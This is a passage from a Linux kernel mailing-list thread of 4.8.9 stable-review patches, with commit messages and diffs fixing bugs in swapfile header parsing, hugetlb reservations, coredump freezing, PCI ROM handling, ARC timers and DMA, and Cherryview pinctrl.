Acked-by: Johannes Weiner <hannes@cmpxchg.org>
Cc: "Kirill A. Shutemov" <kirill.shutemov@linux.intel.com>
Cc: Vlastimil Babka <vbabka@suse.cz>
Cc: Hugh Dickins <hughd@google.com>
Signed-off-by: Andrew Morton <akpm@linux-foundation.org>
Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

---
 mm/swapfile.c |    2 ++
 1 file changed, 2 insertions(+)

--- a/mm/swapfile.c
+++ b/mm/swapfile.c
@@ -2218,6 +2218,8 @@ static unsigned long read_swap_header(st
 		swab32s(&swap_header->info.version);
 		swab32s(&swap_header->info.last_page);
 		swab32s(&swap_header->info.nr_badpages);
+		if (swap_header->info.nr_badpages > MAX_SWAP_BADPAGES)
+			return 0;
 		for (i = 0; i < swap_header->info.nr_badpages; i++)
 			swab32s(&swap_header->info.badpages[i]);
 	}

^ permalink raw reply	[flat|nested] 83+ messages in thread

* [PATCH 4.8 08/92] mm: hwpoison: fix thp split handling in memory_failure()
  2016-11-17 10:31 ` [PATCH 4.8 00/92] 4.8.9-stable review Greg Kroah-Hartman
                     ` (5 preceding siblings ...)
  2016-11-17 10:31   ` [PATCH 4.8 07/92] swapfile: fix memory corruption via malformed swapfile Greg Kroah-Hartman
@ 2016-11-17 10:31   ` Greg Kroah-Hartman
  2016-11-17 10:31   ` [PATCH 4.8 09/92] mm/hugetlb: fix huge page reservation leak in private mapping error paths Greg Kroah-Hartman
                     ` (72 subsequent siblings)
  79 siblings, 0 replies; 83+ messages in thread
From: Greg Kroah-Hartman @ 2016-11-17 10:31 UTC (permalink / raw)
  To: linux-kernel
  Cc: Greg Kroah-Hartman, stable, Naoya Horiguchi, Andrew Morton,
	Linus Torvalds

4.8-stable review patch.  If anyone has any objections, please let me know.

------------------

From: Naoya Horiguchi <n-horiguchi@ah.jp.nec.com>

commit c3901e722b2975666f42748340df798114742d6d upstream.

When memory_failure() runs on a thp tail page after pmd is split, we
trigger the following VM_BUG_ON_PAGE():

   page:ffffd7cd819b0040 count:0 mapcount:0 mapping:         (null) index:0x1
   flags: 0x1fffc000400000(hwpoison)
   page dumped because: VM_BUG_ON_PAGE(!page_count(p))
   ------------[ cut here ]------------
   kernel BUG at /src/linux-dev/mm/memory-failure.c:1132!

memory_failure() passed refcount and page lock from tail page to head
page, which is not needed because we can pass any subpage to
split_huge_page().

Fixes: 61f5d698cc97 ("mm: re-enable THP")
Link: http://lkml.kernel.org/r/1477961577-7183-1-git-send-email-n-horiguchi@ah.jp.nec.com
Signed-off-by: Naoya Horiguchi <n-horiguchi@ah.jp.nec.com>
Signed-off-by: Andrew Morton <akpm@linux-foundation.org>
Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

---
 mm/memory-failure.c |   12 +++++-------
 1 file changed, 5 insertions(+), 7 deletions(-)

--- a/mm/memory-failure.c
+++ b/mm/memory-failure.c
@@ -1112,10 +1112,10 @@ int memory_failure(unsigned long pfn, in
 	}
 
 	if (!PageHuge(p) && PageTransHuge(hpage)) {
-		lock_page(hpage);
-		if (!PageAnon(hpage) || unlikely(split_huge_page(hpage))) {
-			unlock_page(hpage);
-			if (!PageAnon(hpage))
+		lock_page(p);
+		if (!PageAnon(p) || unlikely(split_huge_page(p))) {
+			unlock_page(p);
+			if (!PageAnon(p))
 				pr_err("Memory failure: %#lx: non anonymous thp\n",
 					pfn);
 			else
@@ -1126,9 +1126,7 @@ int memory_failure(unsigned long pfn, in
 			put_hwpoison_page(p);
 			return -EBUSY;
 		}
-		unlock_page(hpage);
-		get_hwpoison_page(p);
-		put_hwpoison_page(hpage);
+		unlock_page(p);
 		VM_BUG_ON_PAGE(!page_count(p), p);
 		hpage = compound_head(p);
 	}

^ permalink raw reply	[flat|nested] 83+ messages in thread

* [PATCH 4.8 09/92] mm/hugetlb: fix huge page reservation leak in private mapping error paths
  2016-11-17 10:31 ` [PATCH 4.8 00/92] 4.8.9-stable review Greg Kroah-Hartman
                     ` (6 preceding siblings ...)
  2016-11-17 10:31   ` [PATCH 4.8 08/92] mm: hwpoison: fix thp split handling in memory_failure() Greg Kroah-Hartman
@ 2016-11-17 10:31   ` Greg Kroah-Hartman
  2016-11-17 10:31   ` [PATCH 4.8 10/92] coredump: fix unfreezable coredumping task Greg Kroah-Hartman
                     ` (71 subsequent siblings)
  79 siblings, 0 replies; 83+ messages in thread
From: Greg Kroah-Hartman @ 2016-11-17 10:31 UTC (permalink / raw)
  To: linux-kernel
  Cc: Greg Kroah-Hartman, stable, Mike Kravetz, Jan Stancek,
	Aneesh Kumar K.V, Hillf Danton, Naoya Horiguchi, Michal Hocko,
	Kirill A . Shutemov, Dave Hansen, Andrew Morton, Linus Torvalds

4.8-stable review patch.  If anyone has any objections, please let me know.

------------------

From: Mike Kravetz <mike.kravetz@oracle.com>

commit 96b96a96ddee4ba08ce4aeb8a558a3271fd4a7a7 upstream.

Error paths in hugetlb_cow() and hugetlb_no_page() may free a newly
allocated huge page.

If a reservation was associated with the huge page, alloc_huge_page()
consumed the reservation while allocating.  When the newly allocated
page is freed in free_huge_page(), it will increment the global
reservation count.  However, the reservation entry in the reserve map
will remain.

This is not an issue for shared mappings as the entry in the reserve map
indicates a reservation exists.  But, an entry in a private mapping
reserve map indicates the reservation was consumed and no longer exists.
This results in an inconsistency between the reserve map and the global
reservation count.  This 'leaks' a reserved huge page.

Create a new routine restore_reserve_on_error() to restore the reserve
entry in these specific error paths.  This routine makes use of a new
function vma_add_reservation() which will add a reserve entry for a
specific address/page.

In general, these error paths were rarely (if ever) taken on most
architectures.  However, powerpc contained arch specific code that that
resulted in an extra fault and execution of these error paths on all
private mappings.

Fixes: 67961f9db8c4 ("mm/hugetlb: fix huge page reserve accounting for private mappings)
Link: http://lkml.kernel.org/r/1476933077-23091-2-git-send-email-mike.kravetz@oracle.com
Signed-off-by: Mike Kravetz <mike.kravetz@oracle.com>
Reported-by: Jan Stancek <jstancek@redhat.com>
Tested-by: Jan Stancek <jstancek@redhat.com>
Reviewed-by: Aneesh Kumar K.V <aneesh.kumar@linux.vnet.ibm.com>
Acked-by: Hillf Danton <hillf.zj@alibaba-inc.com>
Cc: Naoya Horiguchi <n-horiguchi@ah.jp.nec.com>
Cc: Michal Hocko <mhocko@suse.com>
Cc: Kirill A . Shutemov <kirill.shutemov@linux.intel.com>
Cc: Dave Hansen <dave.hansen@linux.intel.com>
Signed-off-by: Andrew Morton <akpm@linux-foundation.org>
Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

---
 mm/hugetlb.c |   66 +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 66 insertions(+)

--- a/mm/hugetlb.c
+++ b/mm/hugetlb.c
@@ -1826,11 +1826,17 @@ static void return_unused_surplus_pages(
  * is not the case is if a reserve map was changed between calls.  It
  * is the responsibility of the caller to notice the difference and
  * take appropriate action.
+ *
+ * vma_add_reservation is used in error paths where a reservation must
+ * be restored when a newly allocated huge page must be freed.  It is
+ * to be called after calling vma_needs_reservation to determine if a
+ * reservation exists.
  */
 enum vma_resv_mode {
 	VMA_NEEDS_RESV,
 	VMA_COMMIT_RESV,
 	VMA_END_RESV,
+	VMA_ADD_RESV,
 };
 static long __vma_reservation_common(struct hstate *h,
 				struct vm_area_struct *vma, unsigned long addr,
@@ -1856,6 +1862,14 @@ static long __vma_reservation_common(str
 		region_abort(resv, idx, idx + 1);
 		ret = 0;
 		break;
+	case VMA_ADD_RESV:
+		if (vma->vm_flags & VM_MAYSHARE)
+			ret = region_add(resv, idx, idx + 1);
+		else {
+			region_abort(resv, idx, idx + 1);
+			ret = region_del(resv, idx, idx + 1);
+		}
+		break;
 	default:
 		BUG();
 	}
@@ -1903,6 +1917,56 @@ static void vma_end_reservation(struct h
 	(void)__vma_reservation_common(h, vma, addr, VMA_END_RESV);
 }
 
+static long vma_add_reservation(struct hstate *h,
+			struct vm_area_struct *vma, unsigned long addr)
+{
+	return __vma_reservation_common(h, vma, addr, VMA_ADD_RESV);
+}
+
+/*
+ * This routine is called to restore a reservation on error paths.  In the
+ * specific error paths, a huge page was allocated (via alloc_huge_page)
+ * and is about to be freed.  If a reservation for the page existed,
+ * alloc_huge_page would have consumed the reservation and set PagePrivate
+ * in the newly allocated page.  When the page is freed via free_huge_page,
+ * the global reservation count will be incremented if PagePrivate is set.
+ * However, free_huge_page can not adjust the reserve map.  Adjust the
+ * reserve map here to be consistent with global reserve count adjustments
+ * to be made by free_huge_page.
+ */
+static void restore_reserve_on_error(struct hstate *h,
+			struct vm_area_struct *vma, unsigned long address,
+			struct page *page)
+{
+	if (unlikely(PagePrivate(page))) {
+		long rc = vma_needs_reservation(h, vma, address);
+
+		if (unlikely(rc < 0)) {
+			/*
+			 * Rare out of memory condition in reserve map
+			 * manipulation.  Clear PagePrivate so that
+			 * global reserve count will not be incremented
+			 * by free_huge_page.  This will make it appear
+			 * as though the reservation for this page was
+			 * consumed.  This may prevent the task from
+			 * faulting in the page at a later time.  This
+			 * is better than inconsistent global huge page
+			 * accounting of reserve counts.
+			 */
+			ClearPagePrivate(page);
+		} else if (rc) {
+			rc = vma_add_reservation(h, vma, address);
+			if (unlikely(rc < 0))
+				/*
+				 * See above comment about rare out of
+				 * memory condition.
+				 */
+				ClearPagePrivate(page);
+		} else
+			vma_end_reservation(h, vma, address);
+	}
+}
+
 struct page *alloc_huge_page(struct vm_area_struct *vma,
 				    unsigned long addr, int avoid_reserve)
 {
@@ -3498,6 +3562,7 @@ retry_avoidcopy:
 	spin_unlock(ptl);
 	mmu_notifier_invalidate_range_end(mm, mmun_start, mmun_end);
 out_release_all:
+	restore_reserve_on_error(h, vma, address, new_page);
 	put_page(new_page);
 out_release_old:
 	put_page(old_page);
@@ -3680,6 +3745,7 @@ backout:
 	spin_unlock(ptl);
 backout_unlocked:
 	unlock_page(page);
+	restore_reserve_on_error(h, vma, address, page);
 	put_page(page);
 	goto out;
 }

^ permalink raw reply	[flat|nested] 83+ messages in thread

* [PATCH 4.8 10/92] coredump: fix unfreezable coredumping task
  2016-11-17 10:31 ` [PATCH 4.8 00/92] 4.8.9-stable review Greg Kroah-Hartman
                     ` (7 preceding siblings ...)
  2016-11-17 10:31   ` [PATCH 4.8 09/92] mm/hugetlb: fix huge page reservation leak in private mapping error paths Greg Kroah-Hartman
@ 2016-11-17 10:31   ` Greg Kroah-Hartman
  2016-11-17 10:31   ` [PATCH 4.8 11/92] s390/hypfs: Use get_free_page() instead of kmalloc to ensure page alignment Greg Kroah-Hartman
                     ` (70 subsequent siblings)
  79 siblings, 0 replies; 83+ messages in thread
From: Greg Kroah-Hartman @ 2016-11-17 10:31 UTC (permalink / raw)
  To: linux-kernel
  Cc: Greg Kroah-Hartman, stable, Andrey Ryabinin, Pavel Machek,
	Oleg Nesterov, Alexander Viro, Tejun Heo, Rafael J. Wysocki,
	Michal Hocko, Andrew Morton, Linus Torvalds

4.8-stable review patch.  If anyone has any objections, please let me know.

------------------

From: Andrey Ryabinin <aryabinin@virtuozzo.com>

commit 70d78fe7c8b640b5acfad56ad341985b3810998a upstream.

It could be not possible to freeze coredumping task when it waits for
'core_state->startup' completion, because threads are frozen in
get_signal() before they got a chance to complete 'core_state->startup'.

Inability to freeze a task during suspend will cause suspend to fail.
Also CRIU uses cgroup freezer during dump operation.  So with an
unfreezable task the CRIU dump will fail because it waits for a
transition from 'FREEZING' to 'FROZEN' state which will never happen.

Use freezer_do_not_count() to tell freezer to ignore coredumping task
while it waits for core_state->startup completion.

Link: http://lkml.kernel.org/r/1475225434-3753-1-git-send-email-aryabinin@virtuozzo.com
Signed-off-by: Andrey Ryabinin <aryabinin@virtuozzo.com>
Acked-by: Pavel Machek <pavel@ucw.cz>
Acked-by: Oleg Nesterov <oleg@redhat.com>
Cc: Alexander Viro <viro@zeniv.linux.org.uk>
Cc: Tejun Heo <tj@kernel.org>
Cc: "Rafael J. Wysocki" <rjw@rjwysocki.net>
Cc: Michal Hocko <mhocko@kernel.org>
Signed-off-by: Andrew Morton <akpm@linux-foundation.org>
Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

---
 fs/coredump.c |    3 +++
 1 file changed, 3 insertions(+)

--- a/fs/coredump.c
+++ b/fs/coredump.c
@@ -1,6 +1,7 @@
 #include <linux/slab.h>
 #include <linux/file.h>
 #include <linux/fdtable.h>
+#include <linux/freezer.h>
 #include <linux/mm.h>
 #include <linux/stat.h>
 #include <linux/fcntl.h>
@@ -423,7 +424,9 @@ static int coredump_wait(int exit_code,
 	if (core_waiters > 0) {
 		struct core_thread *ptr;
 
+		freezer_do_not_count();
 		wait_for_completion(&core_state->startup);
+		freezer_count();
 		/*
 		 * Wait for all the threads to become inactive, so that
 		 * all the thread context (extended register state, like

^ permalink raw reply	[flat|nested] 83+ messages in thread

* [PATCH 4.8 11/92] s390/hypfs: Use get_free_page() instead of kmalloc to ensure page alignment
  2016-11-17 10:31 ` [PATCH 4.8 00/92] 4.8.9-stable review Greg Kroah-Hartman
                     ` (8 preceding siblings ...)
  2016-11-17 10:31   ` [PATCH 4.8 10/92] coredump: fix unfreezable coredumping task Greg Kroah-Hartman
@ 2016-11-17 10:31   ` Greg Kroah-Hartman
  2016-11-17 10:31   ` [PATCH 4.8 12/92] ARC: timer: rtc: implement read loop in "C" vs. inline asm Greg Kroah-Hartman
                     ` (69 subsequent siblings)
  79 siblings, 0 replies; 83+ messages in thread
From: Greg Kroah-Hartman @ 2016-11-17 10:31 UTC (permalink / raw)
  To: linux-kernel
  Cc: Greg Kroah-Hartman, stable, Michael Holzheu, Martin Schwidefsky

4.8-stable review patch.  If anyone has any objections, please let me know.

------------------

From: Michael Holzheu <holzheu@linux.vnet.ibm.com>

commit 237d6e6884136923b6bd26d5141ebe1d065960c9 upstream.

Since commit d86bd1bece6f ("mm/slub: support left redzone") it is no longer
guaranteed that kmalloc(PAGE_SIZE) returns page aligned memory.

After the above commit we get an error for diag224 because aligned
memory is required. This leads to the following user visible error:

 # mount none -t s390_hypfs /sys/hypervisor/
 mount: unknown filesystem type 's390_hypfs'

 # dmesg | grep hypfs
 hypfs.cccfb8: The hardware system does not provide all functions
               required by hypfs
 hypfs.7a79f0: Initialization of hypfs failed with rc=-61

Fix this problem and use get_free_page() instead of kmalloc() to get
correctly aligned memory.

Signed-off-by: Michael Holzheu <holzheu@linux.vnet.ibm.com>
Signed-off-by: Martin Schwidefsky <schwidefsky@de.ibm.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

---
 arch/s390/hypfs/hypfs_diag.c |    6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

--- a/arch/s390/hypfs/hypfs_diag.c
+++ b/arch/s390/hypfs/hypfs_diag.c
@@ -363,11 +363,11 @@ out:
 static int diag224_get_name_table(void)
 {
 	/* memory must be below 2GB */
-	diag224_cpu_names = kmalloc(PAGE_SIZE, GFP_KERNEL | GFP_DMA);
+	diag224_cpu_names = (char *) __get_free_page(GFP_KERNEL | GFP_DMA);
 	if (!diag224_cpu_names)
 		return -ENOMEM;
 	if (diag224(diag224_cpu_names)) {
-		kfree(diag224_cpu_names);
+		free_page((unsigned long) diag224_cpu_names);
 		return -EOPNOTSUPP;
 	}
 	EBCASC(diag224_cpu_names + 16, (*diag224_cpu_names + 1) * 16);
@@ -376,7 +376,7 @@ static int diag224_get_name_table(void)
 
 static void diag224_delete_name_table(void)
 {
-	kfree(diag224_cpu_names);
+	free_page((unsigned long) diag224_cpu_names);
 }
 
 static int diag224_idx2name(int index, char *name)

^ permalink raw reply	[flat|nested] 83+ messages in thread

* [PATCH 4.8 12/92] ARC: timer: rtc: implement read loop in "C" vs. inline asm
  2016-11-17 10:31 ` [PATCH 4.8 00/92] 4.8.9-stable review Greg Kroah-Hartman
                     ` (9 preceding siblings ...)
  2016-11-17 10:31   ` [PATCH 4.8 11/92] s390/hypfs: Use get_free_page() instead of kmalloc to ensure page alignment Greg Kroah-Hartman
@ 2016-11-17 10:31   ` Greg Kroah-Hartman
  2016-11-17 10:31   ` [PATCH 4.8 13/92] PCI: Dont attempt to claim shadow copies of ROM Greg Kroah-Hartman
                     ` (68 subsequent siblings)
  79 siblings, 0 replies; 83+ messages in thread
From: Greg Kroah-Hartman @ 2016-11-17 10:31 UTC (permalink / raw)
  To: linux-kernel; +Cc: Greg Kroah-Hartman, stable, Daniel Lezcano, Vineet Gupta

4.8-stable review patch.  If anyone has any objections, please let me know.

------------------

From: Vineet Gupta <vgupta@synopsys.com>

commit 922cc171998ac3dbe74d57011ef7ed57e9b0d7df upstream.

The current code doesn't even compile as somehow the inline assembly
can't see the register names defined as ARC_RTC_*
I'm pretty sure It worked when I first got it merged, but the tools were
definitely different then.

So better to write this in "C" anyways.

Acked-by: Daniel Lezcano <daniel.lezcano@linaro.org>
Signed-off-by: Vineet Gupta <vgupta@synopsys.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

---
 arch/arc/kernel/time.c |   19 +++++++++++--------
 1 file changed, 11 insertions(+), 8 deletions(-)

--- a/arch/arc/kernel/time.c
+++ b/arch/arc/kernel/time.c
@@ -152,14 +152,17 @@ static cycle_t arc_read_rtc(struct clock
 		cycle_t  full;
 	} stamp;
 
-
-	__asm__ __volatile(
-	"1:						\n"
-	"	lr		%0, [AUX_RTC_LOW]	\n"
-	"	lr		%1, [AUX_RTC_HIGH]	\n"
-	"	lr		%2, [AUX_RTC_CTRL]	\n"
-	"	bbit0.nt	%2, 31, 1b		\n"
-	: "=r" (stamp.low), "=r" (stamp.high), "=r" (status));
+	/*
+	 * hardware has an internal state machine which tracks readout of
+	 * low/high and updates the CTRL.status if
+	 *  - interrupt/exception taken between the two reads
+	 *  - high increments after low has been read
+	 */
+	do {
+		stamp.low = read_aux_reg(AUX_RTC_LOW);
+		stamp.high = read_aux_reg(AUX_RTC_HIGH);
+		status = read_aux_reg(AUX_RTC_CTRL);
+	} while (!(status & _BITUL(31)));
 
 	return stamp.full;
 }

^ permalink raw reply	[flat|nested] 83+ messages in thread

* [PATCH 4.8 13/92] PCI: Dont attempt to claim shadow copies of ROM
  2016-11-17 10:31 ` [PATCH 4.8 00/92] 4.8.9-stable review Greg Kroah-Hartman
                     ` (10 preceding siblings ...)
  2016-11-17 10:31   ` [PATCH 4.8 12/92] ARC: timer: rtc: implement read loop in "C" vs. inline asm Greg Kroah-Hartman
@ 2016-11-17 10:31   ` Greg Kroah-Hartman
  2016-11-17 10:31   ` [PATCH 4.8 14/92] arc: Implement arch-specific dma_map_ops.mmap Greg Kroah-Hartman
                     ` (67 subsequent siblings)
  79 siblings, 0 replies; 83+ messages in thread
From: Greg Kroah-Hartman @ 2016-11-17 10:31 UTC (permalink / raw)
  To: linux-kernel; +Cc: Greg Kroah-Hartman, stable, Bjorn Helgaas

4.8-stable review patch.  If anyone has any objections, please let me know.

------------------

From: Bjorn Helgaas <bhelgaas@google.com>

commit 16d917b130d782b94fa02afc7bdf0d4aae689da4 upstream.

If we're using a shadow copy of a PCI device ROM, the shadow copy is in RAM
and the device never sees accesses to it and doesn't respond to it.  We
don't have to route the shadow range to the PCI device, and the device
doesn't have to claim the range.

Previously we treated the shadow copy as though it were the ROM BAR, and we
failed to claim it because the region wasn't routed to the device:

  pci 0000:01:00.0: Video device with shadowed ROM at [mem 0x000c0000-0x000dffff]
  pci_bus 0000:01: Allocating resources
  pci 0000:01:00.0: can't claim BAR 6 [mem 0x000c0000-0x000dffff]: no compatible bridge window

The failure path of pcibios_allocate_dev_rom_resource() cleared out the
resource start address, which also caused the following ioremap() warning:

  WARNING: CPU: 0 PID: 116 at /build/linux-akdJXO/linux-4.8.0/arch/x86/mm/ioremap.c:121 __ioremap_caller+0x1ec/0x370
  ioremap on RAM at 0x0000000000000000 - 0x000000000001ffff

Handle an option ROM shadow copy as RAM, without trying to insert it into
the iomem resource tree.

This fixes a regression caused by 0c0e0736acad ("PCI: Set ROM shadow
location in arch code, not in PCI core"), which appeared in v4.6.  The
regression causes video device initialization to fail.  This was reported
on AMD Turks, but it likely affects others as well.

Fixes: 0c0e0736acad ("PCI: Set ROM shadow location in arch code, not in PCI core")
Reported-and-tested-by: Vecu Bosseur <vecu.bosseur@gmail.com>
Link: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1627496
Link: https://bugzilla.kernel.org/show_bug.cgi?id=175391
Link: https://bugzilla.redhat.com/show_bug.cgi?id=1352272
Signed-off-by: Bjorn Helgaas <bhelgaas@google.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

---
 drivers/pci/setup-res.c |    8 ++++++++
 1 file changed, 8 insertions(+)

--- a/drivers/pci/setup-res.c
+++ b/drivers/pci/setup-res.c
@@ -121,6 +121,14 @@ int pci_claim_resource(struct pci_dev *d
 		return -EINVAL;
 	}
 
+	/*
+	 * If we have a shadow copy in RAM, the PCI device doesn't respond
+	 * to the shadow range, so we don't need to claim it, and upstream
+	 * bridges don't need to route the range to the device.
+	 */
+	if (res->flags & IORESOURCE_ROM_SHADOW)
+		return 0;
+
 	root = pci_find_parent_resource(dev, res);
 	if (!root) {
 		dev_info(&dev->dev, "can't claim BAR %d %pR: no compatible bridge window\n",

^ permalink raw reply	[flat|nested] 83+ messages in thread

* [PATCH 4.8 14/92] arc: Implement arch-specific dma_map_ops.mmap
  2016-11-17 10:31 ` [PATCH 4.8 00/92] 4.8.9-stable review Greg Kroah-Hartman
                     ` (11 preceding siblings ...)
  2016-11-17 10:31   ` [PATCH 4.8 13/92] PCI: Dont attempt to claim shadow copies of ROM Greg Kroah-Hartman
@ 2016-11-17 10:31   ` Greg Kroah-Hartman
  2016-11-17 10:31   ` [PATCH 4.8 15/92] pinctrl: cherryview: Serialize register access in suspend/resume Greg Kroah-Hartman
                     ` (66 subsequent siblings)
  79 siblings, 0 replies; 83+ messages in thread
From: Greg Kroah-Hartman @ 2016-11-17 10:31 UTC (permalink / raw)
  To: linux-kernel
  Cc: Greg Kroah-Hartman, stable, Catalin Marinas, Marek Szyprowski,
	Alexey Brodkin, Vineet Gupta

4.8-stable review patch.  If anyone has any objections, please let me know.

------------------

From: Alexey Brodkin <abrodkin@synopsys.com>

commit a79a812131b07254c09cf325ec68c0d05aaed0b5 upstream.

We used to use generic implementation of dma_map_ops.mmap which is
dma_common_mmap() but that only worked for simpler cached mappings when
vaddr = paddr.

If a driver requests uncached DMA buffer kernel maps it to virtual
address so that MMU gets involved and page uncached status takes into
account. In that case usage of dma_common_mmap() lead to mapping of
vaddr to vaddr for user-space which is obviously wrong. For more detals
please refer to verbose explanation here [1].

So here we implement our own version of mmap() which always deals
with dma_addr and maps underlying memory to user-space properly
(note that DMA buffer mapped to user-space is always uncached
because there's no way to properly manage cache from user-space).

[1] https://lkml.org/lkml/2016/10/26/973

Reviewed-by: Catalin Marinas <catalin.marinas@arm.com>
Cc: Marek Szyprowski <m.szyprowski@samsung.com>
Signed-off-by: Alexey Brodkin <abrodkin@synopsys.com>
Signed-off-by: Vineet Gupta <vgupta@synopsys.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

---
 arch/arc/mm/dma.c |   26 ++++++++++++++++++++++++++
 1 file changed, 26 insertions(+)

--- a/arch/arc/mm/dma.c
+++ b/arch/arc/mm/dma.c
@@ -105,6 +105,31 @@ static void arc_dma_free(struct device *
 	__free_pages(page, get_order(size));
 }
 
+static int arc_dma_mmap(struct device *dev, struct vm_area_struct *vma,
+			void *cpu_addr, dma_addr_t dma_addr, size_t size,
+			unsigned long attrs)
+{
+	unsigned long user_count = vma_pages(vma);
+	unsigned long count = PAGE_ALIGN(size) >> PAGE_SHIFT;
+	unsigned long pfn = __phys_to_pfn(plat_dma_to_phys(dev, dma_addr));
+	unsigned long off = vma->vm_pgoff;
+	int ret = -ENXIO;
+
+	vma->vm_page_prot = pgprot_noncached(vma->vm_page_prot);
+
+	if (dma_mmap_from_coherent(dev, vma, cpu_addr, size, &ret))
+		return ret;
+
+	if (off < count && user_count <= (count - off)) {
+		ret = remap_pfn_range(vma, vma->vm_start,
+				      pfn + off,
+				      user_count << PAGE_SHIFT,
+				      vma->vm_page_prot);
+	}
+
+	return ret;
+}
+
 /*
  * streaming DMA Mapping API...
  * CPU accesses page via normal paddr, thus needs to explicitly made
@@ -193,6 +218,7 @@ static int arc_dma_supported(struct devi
 struct dma_map_ops arc_dma_ops = {
 	.alloc			= arc_dma_alloc,
 	.free			= arc_dma_free,
+	.mmap			= arc_dma_mmap,
 	.map_page		= arc_dma_map_page,
 	.map_sg			= arc_dma_map_sg,
 	.sync_single_for_device	= arc_dma_sync_single_for_device,

^ permalink raw reply	[flat|nested] 83+ messages in thread

* [PATCH 4.8 15/92] pinctrl: cherryview: Serialize register access in suspend/resume
  2016-11-17 10:31 ` [PATCH 4.8 00/92] 4.8.9-stable review Greg Kroah-Hartman
                     ` (12 preceding siblings ...)
  2016-11-17 10:31   ` [PATCH 4.8 14/92] arc: Implement arch-specific dma_map_ops.mmap Greg Kroah-Hartman
@ 2016-11-17 10:31   ` Greg Kroah-Hartman
  2016-11-17 10:31   ` [PATCH 4.8 16/92] pinctrl: cherryview: Prevent possible interrupt storm on resume Greg Kroah-Hartman
                     ` (65 subsequent siblings)
  79 siblings, 0 replies; 83+ messages in thread
From: Greg Kroah-Hartman @ 2016-11-17 10:31 UTC (permalink / raw)
  To: linux-kernel; +Cc: Greg Kroah-Hartman, stable, Mika Westerberg, Linus Walleij

4.8-stable review patch.  If anyone has any objections, please let me know.

------------------

From: Mika Westerberg <mika.westerberg@linux.intel.com>

commit 56211121c0825cd188caad05574fdc518d5cac6f upstream.

If async suspend is enabled, the driver may access registers concurrently
with another instance which may fail because of the bug in Cherryview GPIO
hardware. Prevent this by taking the shared lock while accessing the
hardware in suspend and resume hooks.

Signed-off-by: Mika Westerberg <mika.westerberg@linux.intel.com>
Signed-off-by: Linus Walleij <linus.walleij@linaro.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

---
 drivers/pinctrl/intel/pinctrl-cherryview.c |   10 ++++++++++
 1 file changed, 10 insertions(+)

--- a/drivers/pinctrl/intel/pinctrl-cherryview.c
+++ b/drivers/pinctrl/intel/pinctrl-cherryview.c
@@ -1638,8 +1638,11 @@ static int chv_pinctrl_suspend(struct de
 {
 	struct platform_device *pdev = to_platform_device(dev);
 	struct chv_pinctrl *pctrl = platform_get_drvdata(pdev);
+	unsigned long flags;
 	int i;
 
+	raw_spin_lock_irqsave(&chv_lock, flags);
+
 	pctrl->saved_intmask = readl(pctrl->regs + CHV_INTMASK);
 
 	for (i = 0; i < pctrl->community->npins; i++) {
@@ -1660,6 +1663,8 @@ static int chv_pinctrl_suspend(struct de
 		ctx->padctrl1 = readl(reg);
 	}
 
+	raw_spin_unlock_irqrestore(&chv_lock, flags);
+
 	return 0;
 }
 
@@ -1667,8 +1672,11 @@ static int chv_pinctrl_resume(struct dev
 {
 	struct platform_device *pdev = to_platform_device(dev);
 	struct chv_pinctrl *pctrl = platform_get_drvdata(pdev);
+	unsigned long flags;
 	int i;
 
+	raw_spin_lock_irqsave(&chv_lock, flags);
+
 	/*
 	 * Mask all interrupts before restoring per-pin configuration
 	 * registers because we don't know in which state BIOS left them
@@ -1713,6 +1721,8 @@ static int chv_pinctrl_resume(struct dev
 	chv_writel(0xffff, pctrl->regs + CHV_INTSTAT);
 	chv_writel(pctrl->saved_intmask, pctrl->regs + CHV_INTMASK);
 
+	raw_spin_unlock_irqrestore(&chv_lock, flags);
+
 	return 0;
 }
 #endif

^ permalink raw reply	[flat|nested] 83+ messages in thread

* [PATCH 4.8 16/92] pinctrl: cherryview: Prevent possible interrupt storm on resume
  2016-11-17 10:31 ` [PATCH 4.8 00/92] 4.8.9-stable review Greg Kroah-Hartman
                     ` (13 preceding siblings ...)
  2016-11-17 10:31   ` [PATCH 4.8 15/92] pinctrl: cherryview: Serialize register access in suspend/resume Greg Kroah-Hartman
@ 2016-11-17 10:31   ` Greg Kroah-Hartman
  2016-11-17 10:31   ` [PATCH 4.8 17/92] cpupower: Correct return type of cpu_power_is_cpu_online() in cpufreq-set Greg Kroah-Hartman
                     ` (64 subsequent siblings)
  79 siblings, 0 replies; 83+ messages in thread
From: Greg Kroah-Hartman @ 2016-11-17 10:31 UTC (permalink / raw)
  To: linux-kernel
  Cc: Greg Kroah-Hartman, stable, Christian Steiner, Mika Westerberg,
	Linus Walleij

4.8-stable review patch.  If anyone has any objections, please let me know.

------------------

From: Mika Westerberg <mika.westerberg@linux.intel.com>

commit d2cdf5dc58f6970e9d9d26e47974c21fe87983f3 upstream.

When the system is suspended to S3 the BIOS might re-initialize certain
GPIO pins back to their original state or it may re-program interrupt mask
of others. For example Acer TravelMate B116-M had BIOS bug where certain
GPIO pin (MF_ISH_GPIO_5) was programmed to trigger on high level, and the
pin state was high once the BIOS gave control to the OS on resume.

This triggers lots of messages like:

 irq 117, desc: ffff88017a61e600, depth: 1, count: 0, unhandled: 0
 ->handle_irq():  ffffffff8109b613, handle_bad_irq+0x0/0x1e0
 ->irq_data.chip(): ffffffffa0020180, chv_pinctrl_exit+0x2d84/0x12 [pinctrl_cherryview]
 ->action():           (null)
    IRQ_NOPROBE set

We reset the mask back to known state in chv_pinctrl_resume() but that is
called only after device interrupts have already been enabled.

Now, this particular issue was fixed by upgrading the BIOS to the latest
(v1.23) but not everybody upgrades their BIOSes so we fix it up in the
driver as well.

